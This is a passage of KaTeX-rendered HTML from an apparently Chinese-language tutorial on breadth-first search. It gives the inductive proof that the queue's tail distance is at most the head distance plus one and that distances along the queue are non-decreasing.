style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">v_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是队头，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mi>r</mi></msub></mrow><annotation encoding="application/x-tex">v_r</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是队尾。</p><p>证明有两个性质：</p><ol><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mi>r</mi></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>≤</mo><msub><mi>v</mi><mn>1</mn></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">v_r.d \le v_1.d + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>r</mi><mo>−</mo><mn>1</mn><mo separator="true">,</mo><msub><mi>v</mi><mi>i</mi></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>≤</mo><msub><mi>v</mi><mrow><mi>i</mi><mo>+</mo><mn>1</mn></mrow></msub><mi mathvariant="normal">.</mi><mi>d</mi></mrow><annotation encoding="application/x-tex">i = 1, 2, \dots, r - 1, v_i.d \le v_{i+1}.d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span></span></span></span></p></li></ol><p>首先考虑基础情况，当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex">Q</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 中只有一个元素 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">v_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 时，满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mi>r</mi></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><msub><mi>v</mi><mn>1</mn></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>≤</mo><msub><mi>v</mi><mn>1</mn></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">v_r.d = v_1.d \le v_1.d + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>；</p><p>改变队列的只有两种情况：入队和出队。按照代码中的顺序是，先出队 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span>，然后 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">v_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 成为新的队头，最后 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mrow><mi>r</mi><mo>+</mo><mn>1</mn></mrow></msub></mrow><annotation encoding="application/x-tex">v_{r+1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span> 入队替代 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mi>r</mi></msub></mrow><annotation encoding="application/x-tex">v_r</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 成为新的队尾。</p><p>归纳步骤：</p><ul><li><p>弹出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 后，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">v_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 变成了新的队头，所以要证明性质 1（性质 2 不变）：</p></li><li><ul><li>有性质 1： <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mi>r</mi></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>≤</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">v_r.d \le u.d + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></li></ul></li><li><ul><li>有性质 2： <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>≤</mo><msub><mi>v</mi><mn>1</mn></msub><mi mathvariant="normal">.</mi><mi>d</mi></mrow><annotation encoding="application/x-tex">u.d \le v_1.d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.136em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span></span></span></span></li></ul></li><li><ul><li>所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mi>r</mi></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>≤</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn><mo>≤</mo><msub><mi>v</mi><mn>1</mn></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">v_r.d \le u.d + 1 \le v_1.d + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 依旧成立。</li></ul></li><li><p>接下里是考虑 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mrow><mi>r</mi><mo>+</mo><mn>1</mn></mrow></msub></mrow><annotation encoding="application/x-tex">v_{r+1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span> 入队时，要证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mrow><mi>r</mi><mo>+</mo><mn>1</mn></mrow></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>≤</mo><msub><mi>v</mi><mn>1</mn></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">v_{r+1}.d \le v_1.d + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mi>r</mi></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>≤</mo><msub><mi>v</mi><mrow><mi>r</mi><mo>+</mo><mn>1</mn></mrow></msub><mi mathvariant="normal">.</mi><mi>d</mi></mrow><annotation encoding="application/x-tex">v_r.d \le v_{r+1}.d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span></span></span></span>：</p></li><li><ul><li>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mrow><mi>r</mi><mo>+</mo><mn>1</mn></mrow></msub></mrow><annotation encoding="application/x-tex">v_{r+1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span> 是由 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 发现的，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mrow><mi>r</mi><mo>+</mo><mn>1</mn></mrow></msub><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">v_{r+1}.d = u.d + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></li></ul></li><li><ul><li>引用性质 2 得出性质 1： <span class="katex"><span 